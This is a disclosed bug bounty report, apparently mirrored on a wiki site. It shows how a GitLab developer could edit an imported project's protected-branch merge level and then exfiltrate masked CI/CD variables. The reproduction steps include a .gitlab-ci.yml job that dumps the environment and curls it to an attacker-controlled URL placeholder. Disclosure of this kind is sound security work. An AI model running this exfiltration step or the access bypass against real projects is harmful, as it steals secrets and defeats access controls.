Skip to content
Access control Disclosed report Intermediate

User with developer role (group) can modify Protected branches -> Allowed to merge setting on imported project

A user with the developer role could modify the protected branch merge access level in an imported project's configuration file, allowing them to merge into protected branches without maintainer approval. This let them run a pipeline on a protected branch and exfiltrate masked CI/CD variables.

GitLab

Originally disclosed on GitLab

  • Fixed in 2 months
  • Disclosed after 2 months

HackerOne report #1485381 by justas_b on 2022-02-18, assigned to @nmalcolm:

Report | Attachments | How To Reproduce

Report

Hello,

Summary

A user with developer role (group) can steal masked group/project CI/CD variables by modifying Project settings -> Protected branches -> Allowed to merge setting on imported project (tree/project/protected_branches.ndjson file).

Steps to reproduce
  1. Create 2 accounts
  2. Create a group with account A and masked CI/CD group variables (Group settings -> CI/CD -> Variables)
secretvar_masked.png
secretvar_masked.png From the original on GitLab
  1. Create a personal project with account B and export it
  2. Invite account B (developer) to account A's (owner) group
  3. With account B, modify the project import file, go to tree/project/protected_branches.ndjson
  4. Change the "merge_access_levels":[{"access_level":}] value to 30 if its 40
merge_access_levels_30.png
merge_access_levels_30.png From the original on GitLab
  1. Upload the modified project to account A's group with account B
  2. By default, only maintainers are allowed to merge into protected branches ("merge_access_levels":[{"access_level":}] is 40 - 40 = maintainer, 30 = developer, etc.)
  3. Create a new branch with account B (developer)
  4. Add the following .gitlab-ci.yml file to the newly created branch and create a merge request
image: ruby:latest

job_name2:  
 script:  
   - export > test.txt  
   - curl -X POST --data "$(cat test.txt)" (attacker controlled website's url)  
new_branch_malicious_gitlab_ci_yml.png
new_branch_malicious_gitlab_ci_yml.png From the original on GitLab

[REDACTED]

  1. Merge the newly created branch into main (protected) branch (with account B - developer)
merge_to_protected_as_developer.png
merge_to_protected_as_developer.png From the original on GitLab
  1. A pipeline run against a protected branch will send sensitive data to attackers website using curl

[REDACTED]

The impact is pretty similar to my other report #1256017

What is the current bug behavior?

It is possible to modify the "merge_access_levels":[{"access_level":} value on imported projects

What is the expected correct behavior?

The "merge_access_levels":[{"access_level":} should always be default - 40

Relevant logs and/or screenshots

(Paste any relevant logs - please use code blocks (```) to format console output,
logs, and code as it's very hard to read otherwise.)

Output of checks

This bug happens on GitLab.com

Impact

User with developer role (group) can steal masked group and project CI/CD variables. Developer can also modify main branch without maintainer's permission.

Attachments

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the project import process did not validate or enforce the default access level for protected branches, allowing a developer to set a lower access level.

Impact

A developer could steal masked CI/CD variables and modify protected branches without maintainer permission.

What the attacker needed

Developer role in a group; ability to import a project

How it was found

  1. Create two accounts and a group with masked CI/CD variables.
  2. Create and export a personal project with the second account.
  3. Invite the second account as a developer to the group.
  4. Modify the protected_branches.ndjson file in the export to change merge_access_levels to 30.
  5. Upload the modified project to the group.
  6. Create a branch with a malicious .gitlab-ci.yml, merge it into the protected branch, and trigger a pipeline that exfiltrates variables.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In GitLab, protected branches normally only allow maintainers to merge changes. A developer could change a setting in a project import file to lower that requirement to developer level, then merge code that runs a pipeline and sends secret variables to an attacker's server.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.